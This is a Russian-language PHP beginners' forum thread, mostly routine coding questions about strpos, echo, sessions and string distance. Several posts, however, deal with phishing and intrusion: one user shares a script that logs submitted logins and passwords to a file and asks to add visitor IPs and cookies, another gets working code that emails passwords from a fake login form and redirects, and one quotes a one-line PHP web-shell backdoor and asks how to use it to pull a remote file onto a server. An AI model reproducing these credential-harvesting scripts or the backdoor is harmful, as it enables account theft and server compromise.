[PHP] Новичкам: задаем вопросы

Discussion in 'PHP' started by Kaimi, 7 May 2015.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    echo $m."<br>";
     
    _________________________
    people2people likes this.
    1. people2people

      people2people Banned

      Joined:
      1 Dec 2019
      Messages:
      159
      Likes Received:
      66
      Reputations:
      0
      Code:
      foreach($mas as $m) {
      
           if (strpos($m,"showthread")) {
            echo $m;
           }
      }
      выдает:
       
      1. ckpunmkug

        ckpunmkug Member

        Joined:
        20 Mar 2017
        Messages:
        66
        Likes Received:
        65
        Reputations:
        10
        Потому что strpos возвращает или позицию в int или false в boolean.
        Правильно так:
        Code:
        foreach($mas as $m) {
              if (strpos($m,"showthread") !== false) {
                 echo $m, "<br>";
              }
        }
         
        Skofield, ex0dus and people2people like this.
        1. Skofield

          Skofield Elder - Старейшина

          Joined:
          27 Aug 2008
          Messages:
          960
          Likes Received:
          392
          Reputations:
          58
          В языковой конструкции 'echo' необязательно использовать конкатенацию(точку). Вполне правильным также будет передать список аргументов через запятую.
           
          1. lgs

            lgs Member

            Joined:
            14 Feb 2017
            Messages:
            41
            Likes Received:
            6
            Reputations:
            0
            Привет , как добавить в код чтоб был IP посетителя и дата?И можно ли чтоб еще куки собрал и чтоб разделения в логе - 1) 2) между логами было
            примерно -
            1) 14.02.2020 5:30AM Login:Vasya, Pass:123456, IP123456
            2) 14.02.2020 6:30AM Login:pETYA, Pass:123456, IP654321
            <?PHP
            $Log = $_POST['login'];
            $Pass = $_POST['password'];
            $log = fopen("database.txt","at");
            fwrite($log,"\n $Log:$Pass \n");
            fclose($log);
            echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://huishu.com'></head></html>";
            ?>
             
            1. PoksLoksLiks456

              Joined:
              25 Jul 2020
              Messages:
              51
              Likes Received:
              8
              Reputations:
              0
              lgs, Получение Ip-адреса:
              Code:
              if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
                  $ip = $_SERVER['HTTP_CLIENT_IP'];
              } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                  $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
              } else {
                  $ip = $_SERVER['REMOTE_ADDR'];
              }
              Получение даты:
              Code:
              // Assuming today is March 10th, 2001, 5:16:18 pm, and that we are in the
              // Mountain Standard Time (MST) Time Zone
              
              $today = date("F j, Y, g:i a");                 // March 10, 2001, 5:16 pm
              $today = date("m.d.y");                         // 03.10.01
              $today = date("j, n, Y");                       // 10, 3, 2001
              $today = date("Ymd");                           // 20010310
              $today = date('h-i-s, j-m-y, it is w Day');     // 05-16-18, 10-03-01, 1631 1618 6 Satpm01
              $today = date('\i\t \i\s \t\h\e jS \d\a\y.');   // it is the 10th day.
              $today = date("D M j G:i:s T Y");               // Sat Mar 10 17:16:18 MST 2001
              $today = date('H:m:s \m \i\s\ \m\o\n\t\h');     // 17:03:18 m is month
              $today = date("H:i:s");                         // 17:16:18
              $today = date("Y-m-d H:i:s");                   // 2001-03-10 17:16:18 (the MySQL DATETIME format)
               
              lgs likes this.
              1. PoksLoksLiks456

                Joined:
                25 Jul 2020
                Messages:
                51
                Likes Received:
                8
                Reputations:
                0
                php7 Сессии, так, запись с get-запроса в сессию:
                Code:
                if (!session_id()) {
                   ini_set('session.gc_maxlifetime', 10800);
                   @session_cache_limiter('private, must-revalidate'); //private_no_expire
                   @session_cache_expire(0);
                   @session_set_cookie_params(3600);
                   @session_start();
                   }
                if (isset($_GET['ref'])) {
                         $_SESSION['referall'] = (string) $_GET['ref'];
                   }
                 
                1. IloveRU

                  IloveRU Member

                  Joined:
                  21 Jul 2010
                  Messages:
                  53
                  Likes Received:
                  14
                  Reputations:
                  1
                  если я знаю, что по адресу http://domain.ru/sc.php

                  лежит бэкдор

                  PHP:
                  <?php $_REQUEST['f']($_REQUEST['c']); ?>
                  что я должен ввести в адресной строке, чтобы залить на сервер файл http://thai.by/12.txt ?
                   
                  1. citywm

                    citywm New Member

                    Joined:
                    26 Jun 2021
                    Messages:
                    1
                    Likes Received:
                    0
                    Reputations:
                    0
                    Помогите безграмотному написать php-скрипт, который отправит на мой ящик введенные данные с html-страницы ниже и переадресует на любую страницу
                    Спасибо!
                    HTML:
                    <!DOCTYPE html>
                    <html>
                    <head>
                    <meta charset="UTF-8">
                    </head>
                    <body>
                    <form action="action_form.php" method="POST">
                      <p>Ваш e-mail:
                      <input type="text" name="login" size="30" maxlength="50" value="[email protected]">
                      </p>
                      <p>Пароль: <input type="password" name="password" size="30" maxlength="50">
                      </p>
                      <input type="submit">
                    </form>
                    </body>
                    </html>
                     
                    #349 citywm, 26 Jun 2021
                    Last edited: 26 Jun 2021
                    1. crlf

                      crlf Green member

                      Joined:
                      18 Mar 2016
                      Messages:
                      683
                      Likes Received:
                      1,513
                      Reputations:
                      460
                      Работа с почтой довольно затруднительный процесс для новичка. Зачастую хостинги блокируют порты для защиты от спама, нужно просить разблокировать, либо, как вариант, использовать msmtp. Если с конфигами всё ок, то скрипт должен выглядеть примерно так:

                      action_form.php

                      PHP:
                      <?php
                      if(isset($_POST['login'])){
                         
                      $to '[email protected]';
                         
                      $subject 'New user registered';
                         
                      $message htmlspecialchars($_POST['login'].':'.$_POST['password']);
                         
                      $headers = array(
                             
                      'From' => '[email protected]'
                         
                      );

                         
                      mail($to$subject$message$headers);
                      }

                      header('Location: https://sitename.ru/thanks');
                      exit;
                      ?>
                      Но лучше заморочиться и использовать PHPMailer или что-то подобное.
                       
                      1. bratking

                        bratking New Member

                        Joined:
                        28 Feb 2023
                        Messages:
                        1
                        Likes Received:
                        0
                        Reputations:
                        0
                        Приветствую. Жив ли еще модератор? Есть ли в пхп функция для сравнения двух строк (растояние сколько символов нужно поменять чтобы первая строка была такой же как вторая)? :oops:
                         
                        1. eminlayer7788

                          eminlayer7788 Member

                          Joined:
                          31 Jul 2015
                          Messages:
                          200
                          Likes Received:
                          78
                          Reputations:
                          8
                          [​IMG]
                           
                          1. eminlayer7788

                            eminlayer7788 Member

                            Joined:
                            31 Jul 2015
                            Messages:
                            200
                            Likes Received:
                            78
                            Reputations:
                            8
                             
                            1. Demir3344

                              Demir3344 New Member

                              Joined:
                              27 Oct 2021
                              Messages:
                              6
                              Likes Received:
                              2
                              Reputations:
                              0
                              Привет. Не могу решить проблему. proc_open запускает PHP скрипт, который должен подключится к бд и работать с ним. Процесс запускается как демон через nohup в линукс и start /b в виндовс. Процесс успешно запускается но при подключении к бд выдаётся ошибка 2002 (неизвестная ошибка или нет работающего сервера бд на данном порту). Не могу понять причину. Все env данные копируются. Symfony 6, Process. Скрипт является командой Symfony. PHP 8.1. Mariadb 9